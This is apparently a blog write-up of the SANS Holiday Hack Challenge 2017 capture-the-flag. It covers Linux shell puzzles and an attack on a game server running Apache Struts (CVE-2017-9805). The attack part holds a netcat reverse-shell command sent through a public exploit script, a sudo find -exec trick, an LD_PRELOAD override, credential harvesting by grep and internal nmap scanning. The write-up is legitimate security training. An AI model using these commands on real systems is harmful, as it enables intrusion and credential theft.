Graham Stevens
⟵ Home

Holiday Hack Challenge 2017 - Write-Up

This will be the third year of taking part in the SANS Holiday Hack Challenge, and like many, I have been looking forward to it since late November.

I should really get round to publishing my unfinished attempt for 2016, seeing as it will complete this current series of blog posts…

Cranberry Terminals

First up, lets complete the Cranberry terminals in each of the snowball rolling games, to get us in the mood.

Winter Wonder Landing

                               \ ' /
                             -- (*) --
           \*/          >0>>*<<@<>0><<*<@<<
       ___\\U//___     >*>>@><0<<*>>@><*<0<<
       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<  
       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
       |\\_|_|&&_// ||*.*.*.*|_\\db//_               
       """"|'.'.'.|~~|.*.*.*|     ____|_
           |'.'.'.|   ^^^^^^|____|>>>>>>|
           ~~~~~~~~         '""""`------'
My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?
Find and run the elftalkd binary to complete this challenge.

The quickest way to find a file on a Linux OS is simply find, but in our case this gives us an error:

bash: /usr/local/bin/find: cannot execute binary file: Exec format error

Seems we have a corrupted find in our local bin directory. That isn’t the standard location for the find binary, so lets see if we can grab locate it somewhere else.

elf@2201fd62ae55:~$ cd /usr/bin/
elf@2201fd62ae55:/usr/bin$ ls | grep find

Perfect, thanks /usr/bin. Running this find locally (./find) gives an expected output, so this one works. Time to find that elftalkd binary.

elf@2201fd62ae55:/usr/bin$ ./find / -name elftalkd
./find: '/var/cache/ldconfig': Permission denied
./find: '/var/cache/apt/archives/partial': Permission denied
./find: '/var/lib/apt/lists/partial': Permission denied
./find: '/proc/tty/driver': Permission denied
./find: '/root': Permission denied

Ignoring the permission issues, we’ve found the binary, hiding away in /run/elftalk/bin/elftalkd.

elf@2201fd62ae55:/usr/bin$ cd /run/elftalk/bin/ 
elf@2201fd62ae55:/run/elftalk/bin$ ls
elf@2201fd62ae55:/run/elftalk/bin$ ./elftalkd 
        Running in interactive mode
        --== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
      _  __ _        _ _       _ 
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337) 
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

Cryokinetic Magic

                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ``````    '-...--'`
My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.
Run the CandyCaneStriper executable to complete this challenge.

So depending on the challenge, we are either looking at trying to locate a hidden file (bit too similar to our previous challenge), or more likely, a file with broken permissions.

elf@824e55f929bf:~$ ls -la
total 68
drwxr-xr-x 1 elf  elf   4096 Dec  5 19:31 .
drwxr-xr-x 1 root root  4096 Dec  5 19:31 ..
-rw-r--r-- 1 elf  elf    220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root  3143 Dec  5 19:30 .bashrc
-rw-r--r-- 1 elf  elf    655 May 16  2017 .profile
-rw-r--r-- 1 root root 45224 Dec  5 19:30 CandyCaneStriper


Running it there and then of course gives us a Permission denied error - we are currently logged in as elf but the binary is owned by root.

We are kindly pointed in the direction of the elves twitter pages for hints, so lets have a look at Holly’s.

Seems we are very kindly linked to a StackOverflow SuperUser question, suggesting we might be able to use /lib/ or similar to get the file to execute.

elf@824e55f929bf:/$ cd lib
elf@824e55f929bf:/lib$ ls
init  lsb  systemd  terminfo  udev  x86_64-linux-gnu
elf@824e55f929bf:/lib$ cd x86_64-linux-gnu/
lrwxrwxrwx 1 root root      17 Mar 25  2016 ->
elf@824e55f929bf:/lib/x86_64-linux-gnu$ ls -la
total 13708
drwxr-xr-x 1 root root    4096 Dec  5 19:31 .
drwxr-xr-x 1 root root    4096 Sep 13  2015 ..
-rwxr-xr-x 1 root root  162632 Jun 16 20:57
lrwxrwxrwx 1 root root      10 Jun 16 20:57 ->
-rw-r--r-- 1 root root    6280 Jun 16 20:57
lrwxrwxrwx 1 root root      23 Jun 16 20:57 ->
-rw-r--r-- 1 root root   18712 Jun 16 20:57
lrwxrwxrwx 1 root root      15 Feb  7  2016 ->
-rw-r--r-- 1 root root   31232 Feb  7  2016
-rw-r--r-- 1 root root   14992 Jun 16 20:57
lrwxrwxrwx 1 root root      14 Jun 16 20:57 ->
[ ... ]
-rw-r--r-- 1 root root   18976 Jun 14  2017
lrwxrwxrwx 1 root root      13 Mar  3  2017 ->
-rw-r--r-- 1 root root  104864 Mar  3  2017
drwxr-xr-x 2 root root    4096 Nov 14 13:48 security

Looks like might be the one for us.

elf@824e55f929bf:/lib/x86_64-linux-gnu$ ./ /home/elf/CandyCaneStriper 
                 .'\\ //`,      
               / \/     ;==|
              /\\/    .'\`,`
             / \/     `""`
          /\ /
The candy cane striping machine is up and running!

Worked perfectly.

There’s Snow Place Like Home

                          .-"""".._'.       _,##
                   _..__ |.-"""-.|  |   _,##'`-._
                  (_____)||_____||  |_,##'`-._,##'`
                  _|   |.;-""-.  |  |#'`-._,##'`
               _.;_ `--' `\    \ |.'`\._,##'`
              /.-.\ `\     |.-";.`_, |##'`
              |\__/   | _..;__  |'-' /
              '.____.'_.-`)\--' /'-'`
      jgs _,##`-..,-;##`
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.
total 444
-rwxr-xr-x 1 root root 454636 Dec  7 18:43 trainstartup

Hmm ok, so we have a binary we need to run again, and apparently fix.

elf@7baa78cd56e0:~$ ls
elf@7baa78cd56e0:~$ ./trainstartup 
bash: ./trainstartup: cannot execute binary file: Exec format error

Lets take a closer look at the binary, see what we are dealing with:

elf@7baa78cd56e0:~$ file trainstartup 
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e
8563d10b3de3e0be7d6fdd7ed732eb, not stripped

So it is an ARM binary trying to run on what we assume will be an Intel architecture. We can check this with uname.

elf@7baa78cd56e0:~$ uname -a    
Linux 7baa78cd56e0 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux

So it looks like we need to run our ARM binary on an x86_64 box. A quick Google for ‘run ARM elf on x64’ gave a couple of StackOverflow suggestions, where I came across the following little snippet:

In the context of the above question, installation of the qemu emulator suite will place the corresponding registration files in this directory. In the case of the ARM architecture, this file is called qemu-arm

This certainly piqued my interest, maybe we’ve got some of the qemu emulators on our box?

elf@7baa78cd56e0:~$ cd /usr/bin
elf@7baa78cd56e0:/usr/bin$ ls qemu*
qemu-aarch64  qemu-armeb  qemu-m68k          qemu-mips      qemu-mipsel     qemu-or32   qemu-ppc64abi32  qemu-sh4eb        qemu-sparc64
qemu-alpha    qemu-cris   qemu-microblaze    qemu-mips64    qemu-mipsn32    qemu-ppc    qemu-s390x       qemu-sparc        qemu-unicore32
qemu-arm      qemu-i386   qemu-microblazeel  qemu-mips64el  qemu-mipsn32el  qemu-ppc64  qemu-sh4         qemu-sparc32plus  qemu-x86_64

Perfect, a quick read of the man for qemu-arm and we are sorted.

elf@7baa78cd56e0:~$ qemu-arm trainstartup

    Merry Christmas
    Merry Christmas
/   \               @.·
/~~   \                .
/ ° ~~  \         · .    
/      ~~ \       ◆  ·    
/     °   ~~\    ·     0
/~~           \   .─··─ · o
             /°  ~~  .*· · . \  ├──┼──┤                                        
              │  ──┬─°─┬─°─°─°─ └──┴──┘                                        
========──┼──=≠     ≠====================================              │   /└───┘\┌───┐       ┌┐                                        
                         └───┘    /▒▒▒▒                                        

Winconceivable: The Cliffs of Winsanity

               /  <
          ,_  /    \  _,
      ?    \`/______\`/
   ,_(_).  |; (e  e) ;|
    \___ \ \/\   7  /\/    _\8/_
        \/\   \'=='/      | /| /|
         \ \___)--(_______|//|//|
          \___  ()  _____/|/_|/_|
             /  ()  \    `----'
            /   ()   \
   jgs   _    |_||_|    _
        (@____) || (____@)
My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.
Kill the "santaslittlehelperd" process to complete this challenge.

Based on that intro, it’s fair to assume we should struggle a little trying to kill this process. Lets take a look and see what processes are running.

elf@da0cd9abc1fb:~$ ps -aux
elf          1  0.0  0.0  18028  2780 pts/0    Ss   14:05   0:00 /bin/bash /sbin/init
elf          8  0.0  0.0   4224   648 pts/0    S    14:06   0:00 /usr/bin/santaslittlehelperd
elf         11  0.1  0.0  13528  6400 pts/0    S    14:06   0:00 /sbin/kworker
elf         12  0.0  0.0  18248  3288 pts/0    S    14:06   0:00 /bin/bash
elf         18  0.5  0.0  71468 26564 pts/0    S    14:06   0:00 /sbin/kworker
elf         92  0.0  0.0  34424  2876 pts/0    R+   14:07   0:00 ps -aux

Looks like we need to kill process ID 8. Usually we would use something like kill or pkill, but a quick test suggest they aren’t working. Running them without any parameters or options should give us a brief help output, but instead, we get nothing. Running which kill says the binary is in /bin/kill, lets go run it locally, see if that works.

elf@da0cd9abc1fb:~$ cd /bin/
elf@da0cd9abc1fb:/bin$ ./kill 
 kill [options] <pid> [...]
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
                        specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table
 -h, --help     display this help and exit
 -V, --version  output version information and exit
For more details see kill(1).

Ah ha, so that works. Time to kill PID 8.

/bin/kill -9 8

Perfect, works first time. However, why does it not work when we reference it normally? Chances are, someone has altered our bash profile, and setup some aliases to make our lives a little more difficult.

elf@da0cd9abc1fb:~$ cd
elf@da0cd9abc1fb:~$ ls -la
total 20
drwxr-xr-x 1 elf  elf  4096 Dec  4 14:31 .
drwxr-xr-x 1 root root 4096 Dec  4 14:31 ..
-rw-r--r-- 1 elf  elf   220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root 3899 Dec  4 14:29 .bashrc
-rw-r--r-- 1 elf  elf   655 May 16  2017 .profile

.bashrc and .profile are both files to help us customise our bash settings. Seeing as .bashrc was edited very recently, by root, I think we had better take a closer look. After looking through the profile, we come across the following:

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'
    alias kill='true'
    alias killall='true'
    alias pkill='true'
    alias skill='true'
    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'

In short, if dircolors exists in /usr/bin (which it does), then we have a few aliases applied to our profile. These aliases allow us to type one thing, such as ls, but actually run ls --color=auto, giving us a much prettier output. Problem is, we also end up with some slightly malicious aliases where various tools used to kill processes, have been swapped out to just run ’true’.

Bumbles Bounce

                           (_)  (_)                  <> \  / <>
                            .\::/.                   \_\/  \/_/ 
           .:.          _.=._\\//_.=._                  \\//
      ..   \o/   ..      '=' //\\ '='             _<>_\_\<>/_/_<>_
      :o|   |   |o:         '/::\'                 <> / /<>\ \ <>
       ~ '. ' .' ~         (_)  (_)      _    _       _ //\\ _
           >O<             '      '     /_/  \_\     / /\  /\ \
       _ .' . '. _                        \\//       <> /  \ <>
      :o|   |   |o:                   /\_\\><//_/\
      ''   /o\   ''     '.|  |.'      \/ //><\\ \/
           ':'        . ~~\  /~~ .       _//\\_
jgs                   _\_._\/_._/_      \_\  /_/ 
                       / ' /\ ' \                   \o/
       o              ' __/  \__ '              _o/.:|:.\o_
  o    :    o         ' .'|  |'.                  .\:|:/.
    '.\'/.'                 .                 -=>>::>o<::<<=-
    :->@<-:                 :                   _ '/:|:\' _
    .'/.\'.           '.___/*\___.'              o\':|:'/o 
  o    :    o           \* \ / */                   /o\
       o                 >--X--<
                        /*_/ \_*\
                      .'   \*/   '.
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.
total 28704
-rw-r--r-- 1 root root 24191488 Dec  4 17:11 access.log
-rwxr-xr-x 1 root root  5197336 Dec 11 17:31 runtoanswer

Looks like we have a web server access log (access.log) and a script we can run to check if we have the right answer.

elf@b3c564e3b552:~$ ./runtoanswer 
Starting up, please wait......
Enter the name of the least popular browser in the web log: IE
Sorry, that doesn't appear to be the least common browser in the web log. Try again.

Time to work our way through these logs to spot the culprit. Because they are standard access logs, we can use tools like awk, grep, uniq and sort some hopefully come to the correct answer.

awk -F\" '{print $6}' access.log well grab the 6th element in each log line, which is our useragent, which is a great start. Lets combine that with a few other tools to make it easier to work with.

awk -F\" '{print $6}' access.log | sort | uniq -c | sort -r

So, we grab each log line and extract the useragent. We then sort that list alphabetically, and use uniq to give us the unique useragent strings with their counts. Sorting this list again in reverse, gives us a number of browsers…

1 curl/7.35.0
1 Slack/370354 CFNetwork/893.14 Darwin/17.3.0
1 Slack/370354 CFNetwork/893.10 Darwin/17.3.0
1 Slack/370342 CFNetwork/808.3 Darwin/16.3.0
1 Slack/370136 CFNetwork/811.5.4 Darwin/16.7.0
1 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MASEJS)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; MASMJS)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
1 Mozilla/5.0 (X11; OpenBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
1 Dillo/3.0.5

Dillo sticks out here, as it’s an old Linux based browser. Putting Dillo into our script suggests we are correct!

I Don’t Think We’re In Kansas Anymore

Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.
total 20684
-rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root  5197352 Dec  7 15:10 runtoanswer

Seems we have a database file to query, and another binary intowhich we can put our answer. My first instinct was to run file against the database, to see if that can tell us which type of database we are dealing with… turns out file doesn’t exist on this system.

However, looking through /bin and /usr/bin one helpful binary stood out - sqlite3. Running this directly drops us into a prompt that allows us to open a database file locally – great start. A quick look through the SQLite CLI pages gives us some helpful directions to understand what tables are contained in the database etc.

elf@e95dc8f84611:~$ sqlite3 
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open christmassongs.db 
sqlite> .tables
likes  songs
sqlite> .schema
  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)

Looks like me need to combine both tables to get our results. Here was my final query:

sqlite> SELECT count(like) as likes, title from likes LEFT JOIN songs on likes.songid = GROUP BY ORDER BY likes desc LIMIT 1;
11325|Stairway to Heaven

Oh Wait! Maybe We Are…

              \ /
   jgs       [___]  
My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.
Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge.
Hint: What commands can you run with sudo?

That hint straight away suggests we need to take a closer look at sudo – I know from a preview Holiday Hack that you can get sudo to list all the commands our current user is allowed to use, so lets have a look at that:

elf@0e9fee3ef83c:/etc$ sudo -l
Matching Defaults entries for elf on 0e9fee3ef83c:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on 0e9fee3ef83c:
    (elf : shadow) NOPASSWD: /usr/bin/find

So we can only run find – interesting. Maybe find has an ability to read and write files somehow. However, that isn’t strictly true in how most people use sudo. If we ran sudo find now, we’d be asked for our password (which we don’t know), but what (elf : shadow) tells us, is that we can use the shadow group, so for our scenario sudo -g shadow find works perfectly.

Onto find. Skimming through the manual, a little gem shows up in the form of ‘print to a file’. If we therefore turn all of the entries in shadow.bak into files, and then use find to print these to /etc/shadow using sudo, we might be onto a winnner.

Long story short, that failed. I then took another look at the find manual, and figued I would give -exec a go.

elf@a251e1a7cc0f:~/temp$ sudo -g shadow find /etc/shadow.bak -exec cp {} /etc/shadow \;
elf@a251e1a7cc0f:~/temp$ inspect_da_box 
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ``````    '-...--'`
/etc/shadow has been successfully restored!

We’re Off To See The…

               _(_      _Y_      _Y_      _Y_      _Y_      _)_
              [___]    [___]    [___]    [___]    [___]    [___]
              /:' \    /:' \    /:' \    /:' \    /:' \    /:' \
             |::   |  |::   |  |::   |  |::   |  |::   |  |::   |
             \::.  /  \::.  /  \::.  /  \::.  /  \::.  /  \::.  /
         jgs  \::./    \::./    \::./    \::./    \::./    \::./
               '='      '='      '='      '='      '='      '='
Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.
total 24
-rwxr-xr-x 1 root root 18000 Dec  4 14:29 isit42
-rw-r--r-- 1 root root   654 Dec  4 14:29 isit42.c.un

Now I have very little understanding of C, but luckily I known a couple of other programming languages so should be able to parse the partial sourcecode.

elf@f5d6ca8d2f9c:~$ cat isit42.c.un 
#include <stdio.h>
int getrand() {
    srand((unsigned int)time(NULL)); 
    printf("Calling rand() to select a random number.\n");
    // The prototype for rand is: int rand(void);
    return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
int main() {
    int randnum = getrand();
    if (randnum == 42) {
    } else {
    return randnum;

So we can see main() where our program starts when we initially run it. It then goes and grabs a random number from the function getrand(), and subsiquently checks it to see if it equals 42 or not. We need to make it return 42 everytime.

I know from experience that the SANS pentesting blog is always full of very useful hints for these challenges, and this year, a post about LD_PRELOAD looked perfect. Following this, I wrote a new local library to replace rand(), so that it always returns 42.

#include <stdio.h>
int rand() { 
    return 42;

Simple as that! Now we compile it, and use LD_PRELOAD to replace rand() in the binary.

elf@550b14b7979c:~$ gcc rand.c -o rand -shared -fPIC
elf@550b14b7979c:~$ LD_PRELOAD="$PWD/rand" isit42 
Starting up ... done.   '='      '='      '='      '='      '='
Calling rand() to select a random number.
                 .-. a special challenge for you.
                .;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______ 
               /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
              /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
            |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_ 
        ,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
         \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
         | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|
          \/|(_) () (_)|\/
            \   '()'   /            ______    _______  _______  ___      ___      __   __    ___   _______ 
            _:.______.;_           |    _ |  |       ||   _   ||   |    |   |    |  | |  |  |   | |       |
          /| | /`\/`\ | |\         |   | ||  |    ___||  |_|  ||   |    |   |    |  |_|  |  |   | |  _____|
         / | | \_/\_/ | | \        |   |_||_ |   |___ |       ||   |    |   |    |       |  |   | | |_____ 
        /  |o`""""""""`o|  \       |    __  ||    ___||       ||   |___ |   |___ |_     _|  |   | |_____  |
       `.__/     ()     \__.'      |   |  | ||   |___ |   _   ||       ||       |  |   |    |   |  _____| |
       |  | ___      ___ |  |      |___|  |_||_______||__| |__||_______||_______|  |___|    |___| |_______|
       /  \|---|    |---|/  \ 
       |  (|42 | () | DA|)  |       _   ___  _______ 
       \  /;---'    '---;\  /      | | |   ||       |
        `` \ ___ /\ ___ / ``       | |_|   ||____   |
            `|  |  |  |`           |       | ____|  |
      jgs    |  |  |  |            |___    || ______| ___ 
       _._  |\|\/||\/|/|  _._          |   || |_____ |   |
      / .-\ |~~~~||~~~~| /-. \         |___||_______||___|
      | \__.'    ||    '.__/ |
Congratulations! You've won, and have successfully completed this challenge.

The Challenges

So, onto the main event.

Question 1

  1. Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

Completed thanks to the Cranberry terminals above. We learned that the title of the page is About This Book…

Question 2

  1. Investigate the Letters to Santa application at What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password?

Browsing to the URL in question, we see an inline form to send off letters to Santa, with a textbox at the end for comments – first though that comes to mind is SQL injection as they look to be processing user input, but lets keep looking and see if we spot anything else. Viewing the source of a website can also be useful, as sometimes folks leave comments or unused code laying around which can give us some ideas.

<!-- Development version -->
    <a href="" style="display: none;">Access Development Version</a>

In this case, we get a hidden link to what is apparently the development version - handy!

Visiting the development site we are welcomed with a Toy Request Form, seemingly the equivilent backend of the ’l2s’ domain. Again, another trip into the source of the html reveals this large hint:

    <div id="the-footer"><p class="center-it">Powered By: <a href="">Apache Struts</a></p></div>
    <!-- Friend over at Equal-facts Inc recommended this framework-->

So they’re running Apache Struts – very popular for the security crowd in 2017. Looking through the CVEs raised against Apache Struts, we have a number of recent ‘Code Exec’ vulnerabilites we could try.

  • CVE-2017-12611 - Interesting, but no public exploit code available, so might be one to re-visit later.
  • CVE-2017-9805 - Has various public exploit codes, including a Metaspoit module.
  • CVE-2017-9791 - Has public exploit code, but requires a non-default public to be enabled… possibly useful.
  • CVE-2017-5638 - The big one from earlier in the year - worth a test.

So, lets work our way through these and see if any of them work for us. First up, 5638 as it was the big Struts bug of the year. struts-pwn on GitHub by mazen160 is a great place to start. Running the check script suggests dev isn’t vulnerable. Ok, moving on.

Next up, 9805 as it looks to be the 2nd biggest Struts bug, and mazen160 very kindly has another GitHub repo containing an exploit script. The check on this one suggests it is vulnerable - exciting times! However, all the commands I requested to be run seemingly failed. Turns out, I have spent too much time being a blue teamer than I have doing redteam activities – I spent an embarassingly long time playing with this before I considered the idea of a reverse shell… whoops.

Here is how it eventually went down:

# On a box I own/control, lets start an open netcat session
nc -lvp 4545
Listening on [] (family 0, port 4545)

# On another window/machine, lets use mazen160's script, with the other end of the netcat command.
$ python -u -c "nc -e /bin/sh [an.ip.I.own] 4545"
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed

# Back on the box I own/control
nc -lvp 4545
Listening on [] (family 0, port 4545)
Connection from [] port 4545 [tcp/*] accepted (family 2, sport 46362)

Exciting, a reverse shell! We could have carried on, but I don’t get to play with reverse shells often, so I had a play around before eventually finding this wonderful blog post on upgrading shells to interactive TTYs. A quick skim through and it seemed the easiest way forward was the python oneliner python -c 'import pty; pty.spawn("/bin/bash")'. Sure enough, I had a better experience (but still had the risk of Ctrl+C killing netcat rather than the program running in my reverse shell).

Back onto the task in hand, we need to go find the web root and get our Great Book page.

alabaster_snowball@l2s:~$ cd /
cd /
alabaster_snowball@l2s:/$ ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
alabaster_snowball@l2s:/$ cd var
cd var
alabaster_snowball@l2s:/var$ ls
backups  cache  lib  local  lock  log  mail  opt  run  spool  tmp  www
alabaster_snowball@l2s:/var$ cd www
cd www
alabaster_snowball@l2s:/var/www$ ls
alabaster_snowball@l2s:/var/www$ cd html
cd html
alabaster_snowball@l2s:/var/www/html$ ls -la
ls -la
total 1784
drwxrwxrwt 6 www-data           www-data              4096 Dec 18 12:07 .
drwxr-xr-x 3 root               root                  4096 Oct 12 14:35 ..
-rw-r--r-- 1 alabaster_snowball alabaster_snowball     340 Dec 18 12:03 1111111111111.php
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:03 css
drwxr-xr-x 3 root               www-data              4096 Oct 12 19:40 fonts
-r--r--r-- 1 root               www-data           1764298 Dec  4 20:25 GreatBookPage2.pdf
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:14 imgs
-rw-r--r-- 1 root               www-data             14501 Nov 24 20:53 index.html
-rw-r--r-- 1 alabaster_snowball alabaster_snowball     356 Dec 18 12:07 jhansWebShell.php
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:11 js
-rw-r--r-- 1 alabaster_snowball alabaster_snowball     415 Dec 18 05:00 .out223.txt
-rwx------ 1 www-data           www-data               231 Oct 12 21:25 process.php
-rwxr-xr-x 1 alabaster_snowball alabaster_snowball     127 Dec  6 13:05 smoke_shell

We could exfiltrate the PDF, but for the sake of this CTF, I ran sha1sum on GreatBookPage2.pdf and entered it into the Stocking page on the HolidayHack dashboard. aa814d1c25455480942cb4106e6cde84be86fb30 with the title ‘On The Topic of Flying Animals’.

That wasn’t all though, we also needed Alabaster’s password. I had seen in the online chat & via the Twittersphere than the password was causing some people some headaches. The web root looks uneventful, except for other users webshells, so lets see what else we’ve got on the webserver. Listing root / shows a number of tempting directories, including /opt.

After a lot of grepping through the filesystem, with a lot of noise, I focused on the apache-tomcat directory within /opt, and continued to run grep for password. Eventually…

alabaster_snowball@hhc17-apache-struts2:/opt/apache-tomcat/webapps/ROOT$ cd WEB-INF
alabaster_snowball@hhc17-apache-struts2:/opt/apache-tomcat/webapps/ROOT/WEB-INF$ ls
classes  content  lib  src  web.xml
alabaster_snowball@hhc17-apache-struts2:/opt/apache-tomcat/webapps/ROOT/WEB-INF$ grep -r "password" .
./classes/org/demo/rest/example/OrderMySql.class:            final String password = "stream_unhappy_buy_loss";
./classes/org/demo/rest/example/OrderMySql.class:            String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
./classes/org/demo/rest/example/OrderMySql.class:           connection = (Connection) DriverManager.getConnection(connectionURL,      username, password);
Binary file ./lib/struts2-core-2.5.12.jar matches

And there it is, in plain text which is handy.

Question 3

  1. The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

To make life easier, lets see if the Alabaster credentials work over SSH - turns out, they do! Password reuse can really make redteaming a very pleasent experience.

Normally on a Linux box, you could use smbclient to for this sort of this, but of course that would be a little too easy, so smbclient didn’t exist on this box. A quick look in /etc/fstab also revealed nothing.

We did have some good news though, nmap was available to us. We need to know our internal IP, so that we don’t waste too much time scanning subnets that we aren’t connected too. ip addr revealed that the current machine is

Lets check out our neighbours and friends:

alabaster_snowball@hhc17-apache-struts2:~$ nmap

Starting Nmap 7.40 ( ) at 2017-12-18 13:50 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (
Host is up (0.00019s latency).
Not shown: 996 closed ports
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
2222/tcp open  EtherNetIP-1

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (
Host is up (0.00023s latency).
Not shown: 998 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap scan report for (
Host is up (0.00023s latency).
Not shown: 994 closed ports
